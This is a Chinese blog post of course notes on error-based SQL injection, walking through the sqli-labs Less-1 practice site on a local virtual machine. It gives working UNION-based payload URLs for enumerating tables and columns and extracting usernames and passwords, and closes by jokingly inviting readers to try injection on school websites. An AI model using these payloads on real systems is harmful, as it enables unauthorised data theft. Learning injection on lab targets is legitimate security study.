如何学习网络安全?手把手带你跟着B站一起学——第四节:显错注入

前言

  • 为什么要学习网络安全?
    首先,为什么要学习网络安全呢?在这个互联网主宰的世界里,信息无处不在,数据决定一切!你不能保证自己的安全无疑是在网络上脱光衣服裸奔!你可以把自己的安全交给别人,但是不能把自己的命运把握在别人手里!
  • 什么时候开始学习网络安全?
    应该来说是一种顺其自然的过程。网络安全是一门大类学科,要学的东西很多,先学好计算机基础知识,计算机网络基础知识,再来是学习一些基础语言,基础语法,会些基础运用,不用都很懂,循序渐进,顺其自然。

这里不谈学习路线,不说学习方法,只是记录本人在学习过程中的笔记与心得体会。

B站学习网址:黑客攻防技术学习路线-网络安全渗透测试教程全解析

上节课学习到了:如何学习网络安全?手把手带你跟着B站一起学——第三节:演示永恒之蓝-MSF初探

显错注入

什么是显错注入?
像程序语言在运行过程中如果遇到一些逻辑或者语句之类的问题会报错,如果管理员没有关闭报错机制的话,我们可以尝试让对方报错时对方会显示一些东西,这就叫显错注入。如果对方关闭了报错机制的话,这就叫盲注

数据库的结构

数据库结构是指在计算机的存储设备上合理存放的相关联的有结构的数据集合的结构。一个数据库结构含有各种成分,包括数据库、数据表、字段等。MySQL的端口是3306
在这里插入图片描述

数据库内置函数

连接数据库这里就不多说了,具体可百度,这里使用SQLyog连接虚拟机win2003,注意远程连接数据前开启数据库远程连接权限即可!

  • @@datadir 函数
    作用:返回数据库的存储目录
    SQL语句: select @@datadir ()
    在这里插入图片描述

  • @@version_compile_os 函数
    作用:查看服务器的操作系统
    SQL语句:select @@version_compile_os;
    在这里插入图片描述

  • database() 函数
    作用:查看当前连接的数据库名称
    SQL语句:select database();
    在这里插入图片描述

  • user() 函数
    作用:查看当前连接的数据库的用户
    SQL语句:select user();
    在这里插入图片描述

  • version() 函数
    作用:查看数据库的版本(知道对方数据库的版本后可去百度查找已知版本漏洞)
    SQL语句:select version();
    在这里插入图片描述

MySQL用版本之分

5.0以上可以借助内置库information_schema下面的tables表,columns表来完成注入
tables表:存放着整个数据库所有的表名
columns:存放着整个数据库所有的列名

数据库的攻击思路和漏洞原理

如何去操控对方的数据库?——进而控制对方的服务器?——控制对方的电脑?

了解完数据库的结构和数据库的内置函数之后呢,你会清晰地明白一个东西:作为一个正常的程序猿,想要去知道对方的列名里面的数据的前提是知道对方数据库的表名和列名,才能知道里面的数据内容。

数据库注入的漏洞原理(注入原理):
web应用程序对用户输入的信息过滤的不严谨或者没有过滤(数据库的关键字),并将用户输入的数据当做SQL语句带入到数据库中查询(正常执行SQL语句)。

在数据库中执行的结果(背后的逻辑)在网站中执行的结果
执行结果正常显示显示一部分,不显示一部分(显示的不完全)
执行结果报错报错

咋们先访问win2003虚拟机靶机sqli下的Less-1
在这里插入图片描述
然后咋们找到网站根目录下网站路径的源代码,依此来好好分析分析
在这里插入图片描述

如何确认是否存在SQL注入漏洞?

看看它会不会把我输入的数据当做SQL语句带入到数据库中查询(执行),当我们特意输入一些关键字例如“ ’ ”等时,它报错了,说明存在SQL注入

看到我们的源代码,我们可以很轻松地发现其存在SQL注入漏洞
在这里插入图片描述
一般情况下呢,我们也可以试试以下两种方法,如果报错说明可能存在SQL注入漏洞

1-逻辑判断+闭合确定注入点
http://192.168.1.106/sqli/less-1/?id=1' and 1=2 --+

在这里插入图片描述

解析原理:根据上面我们PHP的源代码可以轻易地发现

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
当我们在网页端输入的是 “?id=1' and 1=2 --+”,即$id = 1' and 1=2 --+SQL语句会变成:"SELECT * FROM users WHERE id='1' and 1=2 --+' LIMIT 0,1";
--+是注释符号,除此之外还有#,%23等
2、猜字段 order by 二分法

我们可以通过order by + 二分法猜出表有多少个字段

当你输入order by 3 的时候,能正常显示,说明起码有3个字段
在这里插入图片描述
当你输入order by 4 的时候,报错了,说明只有3个字段
在这里插入图片描述

注入(payload)的核心:
http://192.168.1.106/sqli/less-1/?id=1' XXXXXXXXXX --+

所以我们可以发现,payload的核心在于单引号和注释,在单引号和注释中间这段位置你可以随意发挥

3、联合查询 union select

用unino连接,左边的字段数量要和右边的一致,即:
左边 union select 右边

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,2,3--+

通过联合查询可以得到显错位
在这里插入图片描述

4、利用内置函数收集信息
http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,database(),version()--+

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,@@datadir,@@version_compile_os--+

解释:
	database() 当前数据库id
	version() 数据库版本
	@@datadir 当前数据库存放路径
	@@version_compile_os 当前服务器的版本
	user() 当前链接数据库的用户

例:
在这里插入图片描述
这里就不过多解释了,懂得都懂了,不懂的再回去看看视频

5、爆表名

接下来我们开始爆表名,爆列名,因为你不爆表名,爆列名是不能知道里面的一个内容的

首先我们得知道,information_schema下面的tables这张表包含了全部数据库的表名

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union 
select 1,2,group_concat(table_name) from 
information_schema.tables where table_schema='security' --+

执行这段语句,将会得到数据库名为security 里面的所有的表名

这里group_concat()是什么意思可以参考这篇:浅析MySQL中concat以及group_concat的使用
在这里插入图片描述

6、爆列名

information_schema下面的columns这张表包含了全部数据库的列名

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

执行这段语句,将会得到表名为users 里面的所有的列名

在这里插入图片描述

7、获取字段内容数据
http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union 
select 1,2,group_concat(username) from 
users --+

执行这段语句,将会得到users表下的所有账号名称username

在这里插入图片描述

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union 
select 1,2,group_concat(password) from 
users --+

执行这段语句,将会得到users表下的所有账号密码password

在这里插入图片描述
到这里呢,我只想说一句:太可怕了!(太牛逼了)

回顾

首先为什么会出现显错注入呢?原因是管理员没有关闭错误回显

  • 错误回显是可以被预定义的

然后我们要去闭合,闭合的目的是为了让我们输入的语句被独立出来,能够被数据库执行,为了避免干扰我们用注释符号结尾(注释符号后面内容将不会被执行)

闭合之后呢,我们也知道他存在注入点了,然后我们用order by方法来猜测其数据库表有多少列

然后我们用联合查询来确定显错位

确认显错位后呢我们用一些内置函数来收集信息,在显错位上得到一些关键的数据

之后呢,我们就开始爆表名,爆列名,获取到一些关键信息

之后我们就利用这些表名和列名可以获取到一些具体的内容

后话

学习完这篇之后,我有个小冲动,利用Python写个获取数据库username和password的小脚本,先按照上面原理注入一下,获取到信息之后利用爬取网站源代码将信息存储在本地…有兴趣的同学也可以试试

据说一些学校的网站也没有充分的安全措施,有没有小伙伴想试试注入注入自家后花园呢?(三年起步~)

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YuZou 邹宇

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值